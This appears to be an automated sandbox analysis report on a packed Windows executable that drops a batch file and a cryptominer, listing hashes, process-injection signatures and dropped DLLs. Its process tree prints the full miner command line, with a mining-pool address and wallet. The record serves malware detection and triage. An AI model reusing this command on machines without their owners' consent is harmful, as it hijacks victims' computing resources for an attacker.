73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 07:31

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
592	b2e.exe
3108	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2028-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 592	2028	batexe.exe	75
PID 2028 wrote to memory of 592	2028	batexe.exe	75
PID 2028 wrote to memory of 592	2028	batexe.exe	75
PID 592 wrote to memory of 4736	592	b2e.exe	76
PID 592 wrote to memory of 4736	592	b2e.exe	76
PID 592 wrote to memory of 4736	592	b2e.exe	76
PID 4736 wrote to memory of 3108	4736	cmd.exe	79
PID 4736 wrote to memory of 3108	4736	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95E7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe

Filesize
64KB

MD5
3e63d8d147aec3c4d5e3e08d79395350

SHA1
633cc399218c2915b895a83bda89bce9f37e39dc

SHA256
39cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320

SHA512
545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536

Download Submit
C:\Users\Admin\AppData\Local\Temp\9412.tmp\b2e.exe

Filesize
12.7MB

MD5
635a8706c790e6deadb267382dafdf24

SHA1
82f2eb967f0b090b966a9d8d343eabd1e005a1e0

SHA256
91728703456079e88b54caa8b67b4b3ab06a17a0e3846ff56e3f3ee8442b3402

SHA512
efc1d38428f50e58996ed2f7a1b1b50ef38a7605b098d91b2a6b012a13d5b8c6efa94f602918c3a7be9a3265232d11e3edaac521028b67ca4d21fbdf1a41a204

Download Submit
C:\Users\Admin\AppData\Local\Temp\95E7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.8MB

MD5
375dca10cf13ebdff3b253f77c60352c

SHA1
091021b9e496211a87175e7edb4edd15afc86a75

SHA256
5f1e3468129d2442d2a3b17d4d24fe081378a3738982067db8620e35b503c9aa

SHA512
86523a001e1ecdb6502fc686e6b4a825a3c69bff842136e8554448f35756602363284685d7fc85049b261a907973a759cd89e29b9abb25d3e1a4d880e155ffb1

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14.5MB

MD5
e4fd30d3e1cf7f238f76641be6ed4819

SHA1
90ed160a0bb591e9f5869b404e5414275fcae812

SHA256
ea052893c92a3ef620ebcfe202d52faaa88175853a6b63c39e6fc7ec06389617

SHA512
7768ad989db836c077ac1ce516a59c642d9ca75f2fb07282f0b1f07f37f9b82443cbfcdc9c1d6089bb84d8694de905c1af66f75f9d4fb3bcc576b3e65eeb77b2

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.7MB

MD5
6fc5b8b8266f64521367149822294706

SHA1
b76a1fd0797e0b2114b9facaba74dd51759d5e36

SHA256
5847655166d2debd655c20303276a9573020614c605b21d4d1d367bb5da59a5c

SHA512
61f047e828438a07cc60427d8bb576fbff637d08c631d9b532031e5c2e910ec7727127a5d7d1363da052271c99844cafc102efcedf1ff552002e1d480c758390

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/592-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/592-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2028-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3108-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3108-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-43-0x000000005CFB0000-0x000000005D048000-memory.dmp

Filesize
608KB

Download
memory/3108-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/3108-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3108-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download